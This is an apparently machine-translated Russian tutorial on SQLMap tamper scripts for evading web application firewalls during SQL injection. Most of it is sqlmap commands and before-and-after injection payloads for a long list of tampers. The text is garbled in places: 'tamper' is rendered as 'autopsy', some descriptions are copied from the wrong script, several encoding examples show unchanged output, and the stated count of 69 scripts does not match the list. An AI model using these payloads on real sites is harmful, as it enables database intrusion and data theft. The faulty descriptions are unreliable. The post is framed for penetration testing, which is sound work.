Советы и рекомендации по эффективному тестированию на SQL-инъекции с помощью скриптов SQLMap Tamper Scripts
Здравствуйте, в этом посте я расскажу о скриптах для взлома SQLMap. Итак, что такое SQLMap? Что такое скрипты вскрытия в SQLMap? И как их можно использовать для обхода WAF? И т. д.
Введение
SQLMap – это инструмент для поиска и эксплуатации слабых мест в безопасности веб-сайтов и веб-приложений, связанных с взаимодействием с базами данных, в частности, уязвимостей SQL-инъекций. Отображение SQLMap показано на рисунке 1.
При попытке осуществить SQL Injection на веб-сайте некоторые сайты имеют надежную защиту, включая тщательную проверку параметров и форм. Кроме того, на некоторых сайтах используется брандмауэр веб-приложений (WAF), который может затруднить тестировщикам проникновения использование сайта с помощью атак SQL Injection.
Как же тестеры проникновения могут обойти эти меры безопасности с помощью SQLMap? SQLMap предлагает функцию, называемую скриптом вскрытия, которая позволяет модифицировать SQL-запрос, отправляемый на веб-сайт, таким образом, чтобы обойти санитарную обработку или даже WAF на сайте.
Пример
Ниже приведена простая команда, в которой я попытаюсь использовать скрипт взлома под названием space2comment, который удаляет пробелы в полезной нагрузке
sqlmap -u "https://example.com/delete.php?id=1" --level=1 --risk=1 --tamper space2comment
А это пример HTTP-запроса, когда я не использую скрипт взлома space2comment
GET /delete.php?id=1%20AND%209134=5770 HTTP/1.1
Cache-control: no-cache
User-agent: sqlmap/1.6.4#stable (https://sqlmap.org)
Host: example.com
Accept: */*
Accept-encoding: gzip,deflate
Connection: close
%20 – это эквивалент пробела (вам нужно декодировать его с помощью URLDecoder. А это пример HTTP-запроса, когда я использую скрипт для вскрытия space2comment
GET /delete.php?id=1/**/AND/**/9134=5770 HTTP/1.1
Cache-control: no-cache
User-agent: sqlmap/1.6.4#stable (https://sqlmap.org)
Host: example.com
Accept: */*
Accept-encoding: gzip,deflate
Connection: close
Видите разницу? %20 в предыдущем HTTP-запросе заменен на /**/, что позволит обойти фильтры на сайте, если пользовательский ввод не допускает пробелов. И это небольшой пример использования скриптов вскрытия в SQLMap. Следующий раздел – это список скриптов, которые мы можем использовать для SQL Injection с помощью SQLMap.
Сценарии вскрытия списков
Существует 69 скриптов для взлома, которые мы можем использовать, и вот их список:
- 0eunion
Заменяет экземпляры UNION на e0UNION. Например:
-- First payload
1 UNION ALL SELECT
-- After using the tamper
1e0UNION ALL SELECT
- apostrophemask
Заменяет символ апострофа (‘) на его полноразмерный аналог в UTF-8. Например:
-- First payload
1 AND '1'='1
-- After using the tamper
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
- apostrophenullencode
Заменяет символ апострофа (‘) на его полноразмерный аналог в UTF-8. Например:
-- First payload
1 AND '1'='1
-- After using the tamper
1 AND %00%271%00%27=%00%271
- appendnullbyte
Добавляет (Access) символ байта NULL (%00) в конец полезной нагрузки. Например:
-- First payload
1 AND 1=1
-- After using the tamper
1 AND 1=1%00
- base64encode
Добавляет (Access) символ байта NULL (%00) в конец полезной нагрузки. Например:
-- First payload
1' AND SLEEP(5)#
-- After using the tamper
MScgQU5EIFNMRUVQKDUpIw==
- between
Заменяет оператор greater than (‘>’) на NOT BETWEEN 0 AND # и оператор equals (‘=’) на BETWEEN # AND #. Например:
-- First payload
1 AND A = B--
-- After using the tamper
1 AND A BETWEEN B AND B--
- binary
По возможности вставляет бинарные ключевые слова. Например:
-- First payload
1 UNION ALL SELECT NULL, NULL, NULL
-- After using the tamper
1 UNION ALL SELECT binary NULL, binary NULL, binary NULL
- bluecoat
Заменяет символ пробела после оператора SQL на допустимый случайный пустой символ. После этого замените знак равенства (‘=’) на оператор LIKE. Например:
-- First payload
SELECT id FROM users WHERE id = 1
-- After using the tamper
SELECT%09id FROM%09users WHERE%09id LIKE 1
- chardoubleencode
Двойное URL-кодирование всех символов в заданной полезной нагрузке (без обработки уже закодированных). Например:
-- First payload
SELECT FIELD FROM TABLE
-- After using the tamper
%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
- charencode
URL-кодирует все символы в заданной полезной нагрузке (без обработки уже закодированных). Например:
-- First payload
SELECT FIELD FROM TABLE
-- After using the tamper
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
- charunicodeencode
Unicode-URL – кодирует все символы в заданной полезной нагрузке (без обработки уже закодированных). Например:
-- First payload
SELECT FIELD FROM TABLE
-- After using the tamper
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
- charunicodeescape
Unicode – выделение некодированных символов в данной полезной нагрузке (без обработки уже закодированных). Например:
-- First payload
SELECT FIELD FROM TABLE
-- After using the tamper
\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045
- commalesslimit
Заменяет (MySQL) такие экземпляры, как LIMIT M, N, на аналог LIMIT N OFFSET M. Например:
-- First payload
LIMIT 2, 3
-- After using the tamper
LIMIT 3 OFFSET 2
- commalessmid
Заменяет (MySQL) экземпляры типа MID(A, B, C) на аналог MID(A FROM B FOR C). Например:
-- First payload
MID(VERSION(), 1, 1)
-- After using the tamper
MID(VERSION() FROM 1 FOR 1)
- commentbeforeparentheses
Добавляет (inline) комментарий перед круглыми скобками. Например:
-- First payload
SELECT ABS(1)
-- After using the tamper
SELECT ABS/**/(1)
- concat2concatws
Заменяет (MySQL) экземпляры типа CONCAT(A, B) на аналог CONCAT_WS(MID(CHAR(0), 0, 0), A, B). Например:
-- First payload
CONCAT(1,2)
-- After using the tamper
CONCAT_WS(MID(CHAR(0),0,0),1,2)
- decentities
В HTML все символы кодируются в десятичном виде (с использованием кодовых точек). Например:
-- First payload
1' AND SLEEP(5)#
-- After using the tamper
1' AND SLEEP(5)#
- dunion
Заменяет экземпляры UNION на DUNION. Например:
-- First payload
1 UNION ALL SELECT
-- After using the tamper
1DUNION ALL SELECT
- equaltolike
Заменяет все вхождения оператора equal (‘=’) на аналог LIKE. Например:
-- First payload
SELECT * FROM users WHERE id=1
-- After using the tamper
SELECT * FROM users WHERE id LIKE 1
- equaltorlike
Заменяет все вхождения оператора equal (‘=’) на аналог RLIKE. Например:
-- First payload
SELECT * FROM users WHERE id=1
-- After using the tamper
SELECT * FROM users WHERE id RLIKE 1
- escapequotes
Косая черта позволяет избежать одинарных и двойных кавычек. Например:
-- First payload
1" AND SLEEP(5)#
1' AND SLEEP(5)#
-- After using the tamper
1\\" AND SLEEP(5)#
1\\' AND SLEEP(5)#
- greatest
Заменяет оператор greater than (‘>’) на аналог GREATEST. Например:
-- First payload
1 AND A > B
-- After using the tamper
1 AND GREATEST(A,B+1)=A
- halfversionedmorekeywords
Добавляет (MySQL) версионный комментарий перед каждым ключевым словом. Например:
-- First payload
' UNION ALL SELECT
-- After using the tamper
'/*!0UNION/*!0ALL/*!0SELECT
- hex2char
Заменяет каждую строку в кодировке 0x (MySQL) на эквивалентный аналог CONCAT(CHAR(),…). Например:
-- First payload
SELECT 0xdeadbeef
-- After using the tamper
SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))
- hexentities
В HTML все символы кодируются в шестнадцатеричном виде (с помощью кодовых точек). Например:
-- First payload
1' AND SLEEP(5)#
-- After using the tamper
1' AND SLEEP(5)#
- htmlencode
HTML кодирует (с помощью кодовых точек) все неалфавитно-цифровые символы. Например:
-- First payload
1' AND SLEEP(5)#
-- After using the tamper
1' AND SLEEP(5)#
- if2case
Заменяет примеры типа IF(A, B, C) на аналог CASE WHEN (A) THEN (B) ELSE (c) END. Например:
-- First payload
IF(1, 2, 3)
-- After using the tamper
CASE WHEN (1) THEN (2) ELSE (3) END
- ifnull2casewhenisnull
Заменяет примеры типа IFNULL(A, B) на аналог CASE WHEN ISNULL(A) THEN (B) ELSE (A) END. Например:
-- First payload
IFNULL(1, 2)
-- After using the tamper
CASE WHEN ISNULL(1) THEN (2) ELSE (1) END
- ifnull2ifisnull
Заменяет экземпляры типа IFNULL(A, B) на аналог IF(ISNULL(A), B, A). Например:
-- First payload
IFNULL(1, 2)
-- After using the tamper
IF(ISNULL(1),2,1)
- informationschemacomment
Добавьте встроенный комментарий (/**/) в конец всех вхождений идентификатора (MySQL) information_schema. Например:
-- First payload
SELECT table_name FROM INFORMATION_SCHEMA.TABLES
-- After using the tamper
SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES
- least
Заменяет оператор greater than (‘>’) на аналог LEAST. Например:
-- First payload
1 AND A > B
-- After using the tamper
1 AND LEAST(A,B+1)=B+1
- lowercase
Заменяет каждый символ ключевого слова на значение в нижнем регистре. Например:
-- First payload
INSERT INTO
-- After using the tamper
insert into
- luanginx
LUA-Nginx WAFs Bypass. Например:
-- First payload
1 AND 2>1
-- After using the tamper
34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1
- misunion
Заменяет экземпляры UNION на -.1UNION . Например:
-- First payload
1 UNION ALL SELECT
-- After using the tamper
1-.1UNION ALL SELECT
- modsecurityversioned
Воплощает полный запрос с версионным комментарием (MySQL). Например:
-- First payload
1 AND 2>1--
-- After using the tamper
1 /*!30963AND 2>1*/--
- modsecurityzeroversioned
Воплощает полный запрос с нулевым комментарием (MySQL). Например:
-- First payload
1 AND 2>1--
-- After using the tamper
1 /*!00000AND 2>1*/--
- multiplespaces
Добавляет несколько пробелов (‘ ‘) вокруг ключевых слов SQL. Например:
-- First payload
'1 UNION SELECT foobar
-- After using the tamper
'1 UNION SELECT foobar
- ord2ascii
Заменяет встречающиеся ORD() на эквивалентные вызовы ASCII(). Например:
-- First payload
ORD('97')
-- After using the tamper
ASCII('97')
- overlongutf8
Преобразует все (неалфавитные) символы в заданной полезной нагрузке в overlong UTF8 (без обработки уже закодированных). Например:
-- First payload
SELECT FIELD FROM TABLE WHERE 2>1
-- After using the tamper
SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1
- overlongutf8more
Преобразует все символы в заданной полезной нагрузке в overlong UTF8 (без обработки уже закодированных). Например:
-- First payload
SELECT FIELD FROM TABLE WHERE 2>1
-- After using the tamper
%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1
- percentage
Добавляет знак процента (‘%’) перед каждым символом. Например:
-- First payload
SELECT FIELD FROM TABLE
-- After using the tamper
%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
- plus2concat
Заменяет оператор plus (‘+’) на аналог (MsSQL) функции CONCAT(). Например:
-- First payload
SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL
-- After using the tamper
SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL
- plus2fnconcat
Заменяет оператор plus (‘+’) на аналог (MsSQL) ODBC-функции {fn CONCAT()}. Например:
-- First payload
SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL
-- After using the tamper
SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL
- randomcase
Заменяет каждый символ ключевого слова на случайное значение регистра. Например:
-- First payload
INSERT INTO
-- After using the tamper
iNSeRt IntO
- randomcomments
Добавьте произвольные встроенные комментарии внутри ключевых слов SQL. Например:
-- First payload
INSERT INTO
-- After using the tamper
I/**/NSE/**/RT INT/**/O
- schemasplit
Разделяет идентификаторы схем FROM (например, testdb.users) пробелами. Например:
-- First payload
SELECT id FROM testdb.users
-- After using the tamper
SELECT id FROM testdb 9.e.users
- scientific
Злоупотребляет научной нотацией MySQL. Например:
-- First payload
1 AND ORD(MID((CURRENT_USER()),7,1))>1
-- After using the tamper
1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1
- sleep2getlock
Заменяет такие случаи, как SLEEP(5), на (например) GET_LOCK(‘ETgP’,5). Например:
-- First payload
SLEEP(5)
-- After using the tamper
GET_LOCK('xxxx',5)
- sp_password
Добавляет (MsSQL) функцию sp_password в конец полезной нагрузки для автоматической обфускации от логов СУБД. Например:
-- First payload
1 AND 9227=9227--
-- After using the tamper
1 AND 9227=9227-- sp_password
- space2comment
Заменяет символ пробела (‘ ‘) на комментарий /**/
-- First payload
SELECT passwords FROM users
-- After using the tamper
SELECT/**/passwords/**/FROM/**/users
- space2dash
Заменяет символ пробела (‘ ‘) на комментарий тире (‘- ‘), за которым следует произвольная строка и новая строка (‘\n’). Например:
-- First payload
1 AND 9227=9227
-- After using the tamper
1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227
- space2hash
Заменяет (в MySQL) экземпляры символа пробела (‘ ‘) на символ фунта (‘#’), за которым следует случайная строка и новая строка (‘\n’). Например:
-- First payload
1 AND 9227=9227
-- After using the tamper
1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227
- space2morecomment
Заменяет (MySQL) экземпляры символа пробела (‘ ‘) на комментарии /_/
-- First payload
SELECT passwords FROM users
-- After using the tamper
SELECT/**_**/passwords/**_**/FROM/**_**/users
- space2morehash
Заменяет (в MySQL) экземпляры символа пробела (‘ ‘) на символ фунта (‘#’), за которым следует случайная строка и новая строка (‘\n’). Например:
-- First payload
1 AND 9227=9227
-- After using the tamper
1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227
- space2mssqlblank
Заменяет (MsSQL) экземпляры символа пробела (‘ ‘) на случайный пустой символ из допустимого набора альтернативных символов. Например:
-- First payload
SELECT id FROM users
-- After using the tamper
SELECT%0Did%0DFROM%04users
- space2mssqlhash
Заменяет символ пробела (‘ ‘) на символ фунта (‘#’), за которым следует новая строка (‘\n’). Например:
-- First payload
1 AND 9227=9227
-- After using the tamper
1%23%0AAND%23%0A9227=9227
- space2mysqlblank
Заменяет (MySQL) экземпляры символа пробела (‘ ‘) на случайный пустой символ из допустимого набора альтернативных символов. Например:
-- First payload
SELECT id FROM users
-- After using the tamper
SELECT%A0id%0CFROM%0Dusers
- space2mysqldash
Заменяет символ пробела (‘ ‘) на тире-комментарий (‘- ‘), за которым следует новая строка (‘\n’). Например:
-- First payload
1 AND 9227=9227
-- After using the tamper
1--%0AAND--%0A9227=9227
- space2plus
Заменяет символ пробела (‘ ‘) на плюс (‘+’). Например:
-- First payload
SELECT id FROM users
-- After using the tamper
SELECT+id+FROM+users
- space2randomblank
Заменяет символ пробела (‘ ‘) на случайный пустой символ из допустимого набора альтернативных символов. Например:
-- First payload
SELECT id FROM users
-- After using the tamper
SELECT%0Did%0CFROM%0Ausers
- substring2leftright
Заменяет в PostgreSQL SUBSTRING на LEFT и RIGHT. Например:
-- First payload
SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)
-- After using the tamper
LEFT((SELECT usename FROM pg_user)::text,1)
- symboliclogical
Заменяет логические операторы AND и OR их символьными аналогами (&& и ||). Например:
-- First payload
1 AND '1'='1
-- After using the tamper
1 && '1'='1
- unionalltounion
Заменяет экземпляры UNION ALL SELECT на аналог UNION SELECT. Например:
-- First payload
1' UNION ALL SELECT
-- After using the tamper
1' UNION SELECT
- unmagicquotes
Заменяет символ кавычек (‘) на многобайтовую комбинацию %BF%27 вместе с общим комментарием в конце. Например:
-- First payload
1' AND 1=1
-- After using the tamper
1%bf%27-- -
- uppercase
Заменяет каждый символ ключевого слова на значение в верхнем регистре. Например:
-- First payload
insert into
-- After using the tamper
INSERT INTO
- varnish
Добавляет HTTP-заголовок (например, X-originating-IP), чтобы обойти Varnish Firewall. Например:
X-Forwarded-For: 184.189.250.0
X-Originating-IP: 127.0.0.1
- versionedkeywords
Заключает каждое нефункциональное ключевое слово в версионный комментарий (MySQL). Например:
-- First payload
1 UNION ALL SELECT
-- After using the tamper
1/*!UNION*//*!ALL*//*!SELECT
- versionedmorekeywords
Заключает каждое ключевое слово в версионный комментарий (MySQL). Например:
-- First payload
1 UNION ALL SELECT
-- After using the tamper
1/*!UNION*//*!ALL*//*!SELECT
- xforwardedfor
Добавьте фальшивый HTTP-заголовок (например, X-Forwarded-For ). Например:
X-Forwarded-For: 32.12.225.32
Этот список будет обновляться, если скрипты взлома будут удалены или добавлены в репозиторий SQLmap
Советы профессионалов
- Прежде чем использовать скрипт для проверки SQLMap. Лучше всего сначала выяснить, какие символы фильтруются сайтом, который вы пытаетесь протестировать. Например, если сайт фильтрует пробельные символы, вы можете использовать space2comment или space2plus tamper. Или если ваш сайт принимает только base64, вы можете использовать base64encoding.
- Вы можете использовать 2 или более скриптов тампера в одной команде, например, я хочу использовать space2comment и randomcomments:
sqlmap -u "https://example.com/delete.php?id=1" --level=1 --risk=1 --tamper space2comment,randomcomments